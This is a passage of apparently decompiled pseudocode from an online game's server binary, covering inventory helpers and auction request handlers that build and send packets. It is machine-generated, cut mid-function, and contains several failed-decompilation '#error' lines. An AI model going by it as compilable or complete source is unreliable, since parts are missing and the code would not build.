this->baseclass_0.ibi_Limit = ((int (__stdcall *)(_DWORD))ib->vfptr->ib_BagSizeInput)(cec); v3->baseclass_0.vfptr = (ItemBoxIteratorVtbl *)&ItemBoxIterEmpty::_vftable_; } else { this->baseclass_0.ibi_Limit = ((int (*)(void))ib->vfptr->ib_BagSizeOutput)(); v3->baseclass_0.vfptr = (ItemBoxIteratorVtbl *)&ItemBoxIterEmpty::_vftable_; } } //----- (004209B0) -------------------------------------------------------- ItemAttributeClass *__thiscall ItemInventoryCell::iic_GetAttrProc(ItemInventoryCell *this) { return this->iic_AttrProc; } //----- (004209C0) -------------------------------------------------------- unsigned __int16 __thiscall ItemInventoryCell::iic_ItemIdent(ItemInform_ActionItem *this) { return this->iiai_ItemID; } //----- (004209D0) -------------------------------------------------------- unsigned int __thiscall ItemInventoryCell::iic_ItemLot(ItemInventoryCell *this) { return ((int (__stdcall *)(_DWORD))this->iic_AttrProc->vfptr->iac_GetLot)(&this->iic_Item.iti_itemstruct); } //----- (004209E0) -------------------------------------------------------- void __thiscall InventoryLocking::InventoryCellLock::icl_IncIndex(InventoryLocking::InventoryCellLock *this) { ++this->icl_Index; } //----- (004209F0) -------------------------------------------------------- void __thiscall InventoryLocking::UnlockedInventoryIterator::UnlockedInventoryIterator(InventoryLocking::UnlockedInventoryIterator *this, int type, ItemBoxIterator *iter, InventoryLocking::InventoryCellLock *lcklst) { this->uii_Iterator = iter; this->uii_LockList = lcklst; this->uii_InvenType = type; } //----- (00420A10) -------------------------------------------------------- int __thiscall InventoryLocking::UnlockedInventoryIterator::uii_Slot(InventoryLocking::UnlockedInventoryIterator *this) { return this->uii_Iterator->ibi_finger; } //----- (00420A20) -------------------------------------------------------- DebugLogging *__thiscall DebugLogging::operator<<(DebugLogging *this, int num) { DebugLogging *v2; // esi@1 _iobuf *v3; // eax@3 v2 = this; if ( DebugLogging::dl_ActivAll ) { if ( this->dl_Activ ) { DebugLogging::dl_FilePoint(this); v3 = v2->dl_FilePointer; if ( v3 ) fprintf(v3, "%d"); } } return v2; } // 6A7AA1: using guessed type unsigned __int8 DebugLogging__dl_ActivAll; //----- (00420A60) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::sp_SetIsAuctionNewItem(int this, char bIsAuctionNewItem) { char result; // al@1 result = bIsAuctionNewItem; *(_BYTE *)(this + 143832) = bIsAuctionNewItem; return result; } //----- (00420A70) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::sp_GetIsAuctionNewItem(int this) { return *(_BYTE *)(this + 143832); } //----- (00420A80) -------------------------------------------------------- unsigned int __cdecl ShineObjectClass::ShineObject::sp_lastpickuptime() { return clockwatch.cw_CurrTick; } //----- (00420A90) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_AuctionSearchTimeGet(int this) { return *(_DWORD *)(this + 143828); } //----- (00420AA0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_AuctionSearchTimeSet(int this, int dSearchTime) { int result; // eax@1 result = dSearchTime; *(_DWORD *)(this + 143828) = dSearchTime; return result; } //----- (00420AB0) -------------------------------------------------------- char __thiscall ItemBoxIterEmpty::ibi_isvalid(ItemBoxIterEmpty *this) { return *(_WORD *)((**(int (__stdcall ***)(_DWORD))this->baseclass_0.ibi_itembag)(this->baseclass_0.ibi_finger) + 8) == -1; } //----- (00420AD0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::so_AuctionIsNearAuctionNPC(int this) { int v1; // esi@1 unsigned __int16 v2; // ax@1 int v3; // eax@2 v1 = this; v2 = *(_WORD *)(this + 143824); if ( v2 == -1 ) return 0; v3 = (int)ShineObjectManager::som_GetObject(&shineobjmanager, v2); if ( !v3 ) { AssertClass::ac_AssertFail(&shineassert, unk_636780, *(_WORD *)(v1 + 143824)); return 0; } if ( (unsigned int)ShineObjectClass::ShineObject::so_DistanceSquar(v1, v3) > 0xF4240 ) { *(_WORD *)(v1 + 143824) = -1; return 0; } return 1; } //----- (00420B40) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_AUCTION_SEARCH_REQ(void *this, int netcmd, int len, __int16 handle) { void *v4; // ebp@1 char *v5; // esi@1 bool v6; // zf@1 int v7; // eax@5 int v8; // eax@18 int v9; // eax@19 char v10; // cl@20 int v11; // eax@21 char *v12; // esi@24 ZoneBaseSession *v13; // eax@26 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, unk_636824); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = unk_636824; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = gpp.pp_Buffer; v6 = (_S5_38 & 1) == 0; *(_WORD *)gpp.pp_Buffer = -18422; *((_WORD *)v5 + 1) = 8576; v5[4] = 3; *(_DWORD *)(v5 + 5) = 0; *(_WORD *)(v5 + 9) = 0; *(_WORD *)(v5 + 11) = 0; if ( v6 ) { _S5_38 |= 1u; cmc.cmc_AllowMode = 70; atexit(_E6_16); } if ( !((1 << **((_BYTE **)v4 + 892)) & cmc.cmc_AllowMode) ) { *((_WORD *)v5 + 1) = 8577; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 13) ) { v7 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 760))(v4); LABEL_14: (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v7 + 12))(v7, v4, &gpp); goto LABEL_27; } LABEL_9: AssertClass::ac_AssertFail(&shineassert, unk_6367D8, 13); goto LABEL_27; } if ( !*(_DWORD *)((char *)v4 + 98) ) { *((_WORD *)v5 + 1) = 8578; goto LABEL_8; } if ( *(_BYTE *)((*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 1172))(v4) + 37) < 1u && !(unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 2876))(v4) ) { *((_WORD *)v5 + 1) = 8580; LABEL_8: if ( ProtocolPacket::pp_SetPacketLen(&gpp, 13) ) { v7 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 760))(v4); goto LABEL_14; } goto LABEL_9; } if ( (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 2880))(v4) <= clockwatch.cw_CurrTick ) { v9 = netcmd + 16; *(_BYTE *)(netcmd + 80) = 0; do v10 = *(_BYTE *)v9++; while ( v10 ); v11 = v9 - (netcmd + 17); if ( v11 > 0 && v11 < 4 ) *(_BYTE *)(netcmd + 16) = 0; v12 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = -18424; *((_WORD *)v12 + 1) = handle; *((_DWORD *)v12 + 1) = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 836))(v4); *((_DWORD *)v12 + 2) = *(_DWORD *)(netcmd + 2); v12[12] = *(_BYTE *)(netcmd + 6); v12[13] = *(_BYTE *)(netcmd + 7); *(_DWORD *)(v12 + 14) = *(_DWORD *)(netcmd + 8); *(_DWORD *)(v12 + 18) = *(_DWORD *)(netcmd + 12); strncpy(v12 + 22, (const char *)(netcmd + 16), 0x40u); *(_DWORD *)(v12 + 89) = *(_DWORD *)(netcmd + 83); *(_DWORD *)(v12 + 93) = *(_DWORD *)(netcmd + 87); *(_WORD *)(v12 + 97) = *(_WORD *)(netcmd + 91); *(_WORD *)(v12 + 99) = 80; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 101) ) { v13 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v13); } else { AssertClass::ac_AssertFail(&shineassert, unk_6367D8, 101); } } else { *((_WORD *)v5 + 1) = 8579; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 13) ) { v8 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 760))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v8 + 12))(v8, v4, &gpp); } else { AssertClass::ac_AssertFail(&shineassert, unk_6367D8, 13); } } LABEL_27: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, unk_636824); } //----- (00420E10) -------------------------------------------------------- #error "420E10: undefined or illegal type '#593' (funcsize=136)" //----- (00420FF0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_AUCTION_BUY_REQ(void *this, int netcmd, int len, __int16 handle) { void *v4; // edi@1 char *v5; // esi@1 char v6; // al@1 int v7; // eax@5 int v8; // eax@13 void *v9; // eax@14 char *v10; // esi@14 void *v11; // ebx@14 ZoneBaseSession *v12; // eax@16 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, unk_636910); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = unk_636910; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = gpp.pp_Buffer; v6 = _S7_43; *(_WORD *)gpp.pp_Buffer = -18418; *((_WORD *)v5 + 1) = 8640; *((_DWORD *)v5 + 1) = *(_DWORD *)(netcmd + 2); *((_DWORD *)v5 + 2) = 0; *((_DWORD *)v5 + 3) = 0; *((_WORD *)v5 + 8) = -1; if ( !(v6 & 1) ) { _S7_43 |= 1u; cmc_0.cmc_AllowMode = 70; atexit(_E8_31); } if ( !((1 << **((_BYTE **)v4 + 892)) & cmc_0.cmc_AllowMode) ) { *((_WORD *)v5 + 1) = 8641; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 18) ) { v7 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 760))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v7 + 12))(v7, v4, &gpp); goto LABEL_17; } LABEL_12: AssertClass::ac_AssertFail(&shineassert, unk_6368C8, 18); goto LABEL_17; } if ( !*(_DWORD *)((char *)v4 + 98) ) { *((_WORD *)v5 + 1) = 8642; goto LABEL_11; } if ( *(_BYTE *)((*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 1172))(v4) + 37) < 1u && !(unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 2876))(v4) ) { *((_WORD *)v5 + 1) = 8644; LABEL_11: if ( ProtocolPacket::pp_SetPacketLen(&gpp, 18) ) { v8 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 760))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v8 + 12))(v8, v4, &gpp); goto LABEL_17; } goto LABEL_12; } v9 = CDataReader::GetRecord(&gAuctionLimit, 0); v10 = gpp.pp_Buffer; v11 = v9; *(_WORD *)gpp.pp_Buffer = -18420; *((_WORD *)v10 + 1) = handle; *((_DWORD *)v10 + 1) = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 836))(v4); *((_DWORD *)v10 + 2) = *(_DWORD *)(netcmd + 2); *((_WORD *)v10 + 6) = *((_BYTE *)v11 + 6); *((_WORD *)v10 + 7) = *((_WORD *)v11 + 2); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 16) ) { v12 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v12); } else { AssertClass::ac_AssertFail(&shineassert, unk_6368C8, 16); } LABEL_17: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, unk_636910); } //----- (00421220) -------------------------------------------------------- #error "421220: undefined or illegal type '#593' (funcsize=111)" //----- (004213D0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_AUCTION_MY_REGISTER_GOOD_LIST_REQ(void *this, int netcmd, int len, __int16 handle) { void *v4; // edi@1 char *v5; // esi@1 bool v6; // zf@1 int v7; // eax@5 int v8; // eax@13 char *v9; // esi@14 ZoneBaseSession *v10; // eax@16 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_AUCTION_MY_REGISTER_GOOD_LIST_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_AUCTION_MY_REGISTER_GOOD_LIST_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = gpp.pp_Buffer; v6 = (_S9_10 & 1) == 0; *(_WORD *)gpp.pp_Buffer = -18414; *((_WORD *)v5 + 1) = 8704; v5[4] = 3; if ( v6 ) { _S9_10 |= 1u; cmc_1.cmc_AllowMode = 70; atexit(_E10_3); } if ( !((1 << **((_BYTE **)v4 + 892)) & cmc_1.cmc_AllowMode) ) { *((_WORD *)v5 + 1) = 8705; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 9) ) { v7 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 760))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v7 + 12))(v7, v4, &gpp); goto LABEL_17; } LABEL_12: AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_AUCTION_MY_STORAGE_BOX_REQ : Packet Too Long", 9); goto LABEL_17; } if ( !*(_DWORD *)((char *)v4 + 98) ) { *((_WORD *)v5 + 1) = 8706; goto LABEL_11; } if ( *(_BYTE *)((*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 1172))(v4) + 37) < 1u && !(unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 2876))(v4) ) { *((_WORD *)v5 + 1) = 8707; LABEL_11: if ( ProtocolPacket::pp_SetPacketLen(&gpp, 9) ) { v8 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 760))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v8 + 12))(v8, v4, &gpp); goto LABEL_17; } goto LABEL_12; } v9 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = -18416; *((_WORD *)v9 + 1) = handle; *((_DWORD *)v9 + 1) = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 836))(v4); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 8) ) { v10 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v10); } else { AssertClass::ac_AssertFail(&shineassert, unk_6369B0, 8); } LABEL_17: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_AUCTION_MY_REGISTER_GOOD_LIST_REQ"); } //----- (004215C0) -------------------------------------------------------- #error "4215C0: undefined or illegal type '#593' (funcsize=94)" //----- (00421710) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_AUCTION_REGISTER_GOOD_REQ(void *this, int netcmd, int len, __int16 handle) { void *v4; // edi@1 char *v5; // esi@1 char v6; // dl@1 int v7; // eax@5 int v8; // ebx@15 int (__thiscall **v9)(_DWORD, _DWORD); // edx@19 int v10; // eax@21 void *v11; // eax@26 char v12; // al@27 int v13; // eax@28 int v14; // eax@29 int v15; // eax@29 void *v16; // eax@31 void *v17; // ebx@31 int v18; // eax@38 void *v19; // edx@38 unsigned int v20; // eax@41 signed int v21; // ebx@41 signed int v22; // ebx@43 unsigned int v23; // ebp@43 unsigned __int64 v24; // kr00_8@43 void *v25; // eax@44 int v26; // edx@48 bool v27; // zf@49 unsigned __int64 v28; // qax@58 unsigned int v29; // esi@63 void *v30; // eax@64 char *v31; // esi@70 void *v32; // eax@70 char v33; // cl@70 __int16 v34; // dx@70 void *v35; // eax@70 void *v36; // eax@70 char v37; // dl@70 unsigned int v38; // edx@70 void *v39; // eax@70 char v40; // al@70 ZoneBaseSession *v41; // eax@71 int v42; // eax@72 int v43; // esi@72 int v44; // eax@72 int v45; // esi@72 int v46; // eax@72 int v47; // eax@72 int v48; // [sp+8h] [bp-50h]@59 const char *v49[6]; // [sp+Ch] [bp-4Ch]@59 int v50; // [sp+10h] [bp-48h]@59 ITEM_INVEN nCellPos; // [sp+24h] [bp-34h]@72 FunctionEntarance _; // [sp+28h] [bp-30h]@1 unsigned int nAuctionPeriodHour; // [sp+2Ch] [bp-2Ch]@29 void *pInvenCell; // [sp+30h] [bp-28h]@26 unsigned int nAuctiongAuctionPeriodNum; // [sp+34h] [bp-24h]@19 void *pIDBI; // [sp+38h] [bp-20h]@31 int nItemGradeType; // [sp+3Ch] [bp-1Ch]@38 int nItemEquipEnum; // [sp+40h] [bp-18h]@38 void *pAuctionLimit; // [sp+44h] [bp-14h]@38 int nItemID; // [sp+48h] [bp-10h]@29 int v61; // [sp+54h] [bp-4h]@1 v4 = this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_NC_AUCTION_REGISTER_GOOD_REQ"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_AUCTION_REGISTER_GOOD_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_AUCTION_REGISTER_GOOD_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = gpp.pp_Buffer; v27 = (_S11_10 & 1) == 0; *(_WORD *)gpp.pp_Buffer = -18410; *(_WORD *)(v5 + 3) = 8768; v6 = *(_BYTE *)(netcmd + 2); v61 = 0; v5[2] = v6; *(_DWORD *)(v5 + 5) = -1; if ( v27 ) { _S11_10 |= 1u; cmc_2.cmc_AllowMode = 70; atexit(_E12_8); } if ( !((1 << **((_BYTE **)v4 + 892)) & cmc_2.cmc_AllowMode) ) { *(_WORD *)(v5 + 3) = 8769; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 9) ) { v7 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 760))(v4); LABEL_6: (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v7 + 12))(v7, v4, &gpp); v61 = -1; LABEL_23: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_AUCTION_REGISTER_GOOD_REQ"); return; } goto LABEL_13; } if ( !*(_DWORD *)((char *)v4 + 98) ) { *(_WORD *)(v5 + 3) = 8770; goto LABEL_12; } if ( *(_BYTE *)((*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 1172))(v4) + 37) < 1u && !(unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 2876))(v4) ) { *(_WORD *)(v5 + 3) = 8772; LABEL_12: if ( ProtocolPacket::pp_SetPacketLen(&gpp, 9) ) { v7 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 760))(v4); goto LABEL_6; } LABEL_13: AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_AUCTION_REGISTER_GOOD_REQ : Packet Too Long", 9); v61 = -1; goto LABEL_23; } v8 = (int)((char *)v4 + 35680); if ( *(_QWORD *)(netcmd + 7) < 1ui64 ) { *(_WORD *)(v5 + 3) = 8779; LABEL_17: if ( ProtocolPacket::pp_SetPacketLen(&gpp, 9) ) { v10 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 760))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v10 + 12))(v10, v4, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_AUCTION_REGISTER_GOOD_REQ : Packet Too Long", 9); } v61 = -1; goto LABEL_23; } v9 = *(int (__thiscall ***)(_DWORD, _DWORD))v8; nAuctiongAuctionPeriodNum = *(_BYTE *)(netcmd + 2); if ( (signed int)nAuctiongAuctionPeriodNum >= ((int (__thiscall *)(char *))v9[2])((char *)v4 + 35680) ) { *(_WORD *)(v5 + 3) = 8773; goto LABEL_17; } if ( (unsigned __int8)(*(int (__thiscall **)(char *, signed int, unsigned int, _DWORD))(*((_DWORD *)v4 + 14470) + 8))( (char *)v4 + 57880, 9, nAuctiongAuctionPeriodNum, *((_WORD *)v4 + 71579)) ) { *(_WORD *)(v5 + 3) = 8774; LABEL_74: v50 = 9; v49[0] = "ShineObjectClass::ShinePlayer::sp_NC_AUCTION_REGISTER_GOOD_REQ : Packet Too Long"; v48 = (unsigned __int8)ProtocolPacket::pp_SetPacketLen(&gpp, 9); goto LABEL_75; } v11 = (void *)(**(int (__thiscall ***)(char *, _DWORD))v8)((char *)v4 + 35680, *(_BYTE *)(netcmd + 2)); pInvenCell = v11; if ( v11 ) { v14 = (int)((char *)v11 + 8); nAuctionPeriodHour = v14; v15 = *(_WORD *)v14; nItemID = v15; if ( (_WORD)v15 == -1 ) { *(_WORD *)(v5 + 3) = 8775; goto LABEL_74; } v16 = ItemDataBox::operator__(&itemdatabox, v15); v17 = v16; pIDBI = v16; if ( !v16 ) { *(_WORD *)(v5 + 3) = 8775; goto LABEL_74; } if ( !*(_DWORD *)v16 ) { *(_WORD *)(v5 + 3) = 8775; goto LABEL_74; } if ( !*((_DWORD *)pInvenCell + 28) ) { *(_WORD *)(v5 + 3) = 8775; goto LABEL_74; } if ( !ItemBelongAttribute::iba_Judge( &g_ItmBelongAttr, CItemAuthorityBase::IA_CanPlayerTrade, (ItemInventoryCell *)pInvenCell) ) { *(_WORD *)(v5 + 3) = 8777; goto LABEL_74; } v18 = *(_DWORD *)v17; v19 = *(void **)(netcmd + 3); nItemGradeType = *(_DWORD *)(*(_DWORD *)v17 + 317); nItemEquipEnum = *(_DWORD *)(v18 + 110); pAuctionLimit = v19; if ( gAuctionCost.m_pHead ) nAuctiongAuctionPeriodNum = gAuctionCost.m_pHead->nNumOfRecord; else nAuctiongAuctionPeriodNum = 0; v20 = *(_DWORD *)(v18 + 123); v21 = 1; if ( v20 > 1 ) v21 = v20; v24 = (unsigned int)(*(int (__stdcall **)(unsigned int))(**((_DWORD **)pInvenCell + 28) + 24))(nAuctionPeriodHour) * (unsigned __int64)(unsigned int)v21; v23 = HIDWORD(v24); v22 = v24; nAuctionPeriodHour = 0; if ( !nAuctiongAuctionPeriodNum ) { LABEL_55: if ( !v23 && (unsigned int)v22 < 0xA ) { v22 = 10; v23 = 0; } LODWORD(v28) = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 1072))(v4); if ( __PAIR__(v23, v22) <= v28 ) { if ( gAuctionPeriod.m_pHead ) nAuctiongAuctionPeriodNum = gAuctionPeriod.m_pHead->nNumOfRecord; else nAuctiongAuctionPeriodNum = 0; v29 = 0; nAuctionPeriodHour = 48; if ( nAuctiongAuctionPeriodNum ) { do { v30 = CDataReader::GetRecord(&gAuctionPeriod, v29); if ( !v30 ) break; if ( *(_DWORD *)v30 == *(_DWORD *)(netcmd + 3) ) { nAuctionPeriodHour = *((_BYTE *)v30 + 4); break; } ++v29; } while ( v29 < nAuctiongAuctionPeriodNum ); } nAuctionPeriodHour *= 60; pAuctionLimit = CDataReader::GetRecord(&gAuctionLimit, 0); if ( pAuctionLimit ) { v31 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = -18412; *((_WORD *)v31 + 1) = handle; *((_DWORD *)v31 + 1) = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 836))(v4); *((_WORD *)v31 + 4) = *(_WORD *)((*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 2004))(v4) + 4); v32 = pAuctionLimit; v31[10] = *(_BYTE *)(netcmd + 2); v33 = *((_BYTE *)v32 + 7); v34 = nItemID; v35 = pIDBI; v31[11] = v33; *((_WORD *)v31 + 6) = v34; _mbsnbcpy(v31 + 14, (const char *)(*(_DWORD *)v35 + 34), 0x40u); v36 = pIDBI; v37 = nItemGradeType; *(_WORD *)(v31 + 79) = *(_WORD *)(*(_DWORD *)pIDBI + 123); v31[81] = v37; v38 = nAuctionPeriodHour; v31[82] = *(_BYTE *)(*(_DWORD *)v36 + 114); *(_DWORD *)(v31 + 83) = v22; *(_DWORD *)(v31 + 87) = v23; *(_DWORD *)(v31 + 91) = v38; *(_DWORD *)(v31 + 95) = *(_DWORD *)(netcmd + 7); v39 = pInvenCell; *(_DWORD *)(v31 + 99) = *(_DWORD *)(netcmd + 11); *(_DWORD *)(v31 + 103) = *(_DWORD *)v39; *(_DWORD *)(v31 + 107) = *((_DWORD *)v39 + 1); v40 = ProtocolPacket::pp_SetPacketLen(&gpp, 111); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v40, "ShineObjectClass::ShinePlayer::sp_NC_AUCTION_REGISTER_GOOD_REQ : Packet Too Long", 111) ) { v41 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v41); } v42 = *(_DWORD *)v4; nCellPos.Inven = *(unsigned __int8 *)(netcmd + 2) | 0x2400; v43 = (*(int (__thiscall **)(void *))(v42 + 2004))(v4); v44 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 2004))(v4); (*(void (__thiscall **)(int, _DWORD, signed int, unsigned int, signed int))(*(_DWORD *)v43 + 64))( v43, *(_WORD *)(v44 + 4), v22, v23, -1); v45 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 2004))(v4); v46 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 2004))(v4); (*(void (__thiscall **)(int, _DWORD, void *, ITEM_INVEN *, ITEM_INVEN *))(*(_DWORD *)v45 + 48))( v45, *(_WORD *)(v46 + 4), pInvenCell, &nCellPos, &nCellPos); v47 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 2004))(v4); ++*(_WORD *)(v47 + 4); } goto LABEL_78; } v50 = 9; v49[0] = "ShineObjectClass::ShinePlayer::sp_NC_AUCTION_REGISTER_GOOD_REQ : Packet Too Long"; *(_WORD *)(v5 + 3) = 8787; v48 = (unsigned __int8)ProtocolPacket::pp_SetPacketLen(&gpp, 9); LABEL_75: if ( !AssertClass::operator__(&shineassert, v48, v49[0], v50) ) { v13 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 760))(v4); goto LABEL_77; } goto LABEL_78; } while ( 1 ) { v25 = CDataReader::GetRecord(&gAuctionCost, nAuctionPeriodHour); if ( v25 ) { if ( !*(_DWORD *)v25 ) { v26 = nItemGradeType; LABEL_51: v27 = v26 == *((_DWORD *)v25 + 1); LABEL_52: if ( v27 ) { v23 = *((_BYTE *)v25 + 8) * __PAIR__(v23, v22) >> 32; v22 *= *((_BYTE *)v25 + 8); } goto LABEL_54; } if ( *(_DWORD *)v25 == 1 ) { v27 = pAuctionLimit == *((void **)v25 + 1); goto LABEL_52; } if ( *(_DWORD *)v25 == 2 ) { v26 = nItemEquipEnum; goto LABEL_51; } } LABEL_54: ++nAuctionPeriodHour; if ( nAuctionPeriodHour >= nAuctiongAuctionPeriodNum ) goto LABEL_55; } } *(_WORD *)(v5 + 3) = 8775; v12 = ProtocolPacket::pp_SetPacketLen(&gpp, 9); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v12, "ShineObjectClass::ShinePlayer::sp_NC_AUCTION_REGISTER_GOOD_REQ : Packet Too Long", 9) ) { v13 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 760))(v4); LABEL_77: (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v13 + 12))(v13, v4, &gpp); } LABEL_78: v61 = -1; FunctionEntarance::_FunctionEntarance(&_); } //----- (00421D90) -------------------------------------------------------- #error "421D90: undefined or illegal type '#593' (funcsize=98)" //----- (00421F00) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_AUCTION_REGISTER_CANCEL_GOOD_REQ(void *this, int netcmd, int len, __int16 handle) { void *v4; // edi@1 char *v5; // esi@1 bool v6; // zf@1 int v7; // eax@5 void *v8; // eax@15 char *v9; // esi@15 void *v10; // ebx@15 ZoneBaseSession *v11; // eax@17 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_AUCTION_REGISTER_CANCEL_GOOD_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_AUCTION_REGISTER_CANCEL_GOOD_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = gpp.pp_Buffer; v6 = (_S13_19 & 1) == 0; *(_WORD *)gpp.pp_Buffer = -18406; *((_WORD *)v5 + 1) = 8832; *((_DWORD *)v5 + 1) = *(_DWORD *)(netcmd + 2); if ( v6 ) { _S13_19 |= 1u; cmc_3.cmc_AllowMode = 70; atexit(_E14_14); } if ( !((1 << **((_BYTE **)v4 + 892)) & cmc_3.cmc_AllowMode) ) { *((_WORD *)v5 + 1) = 8833; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 8) ) { v7 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 760))(v4); LABEL_14: (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v7 + 12))(v7, v4, &gpp); goto LABEL_18; } LABEL_9: AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_AUCTION_REGISTER_CANCEL_GOOD_REQ : Packet Too Long", 8); goto LABEL_18; } if ( !*(_DWORD *)((char *)v4 + 98) ) { *((_WORD *)v5 + 1) = 8834; goto LABEL_8; } if ( *(_BYTE *)((*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 1172))(v4) + 37) < 1u && !(unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 2876))(v4) ) { *((_WORD *)v5 + 1) = 8835; LABEL_8: if 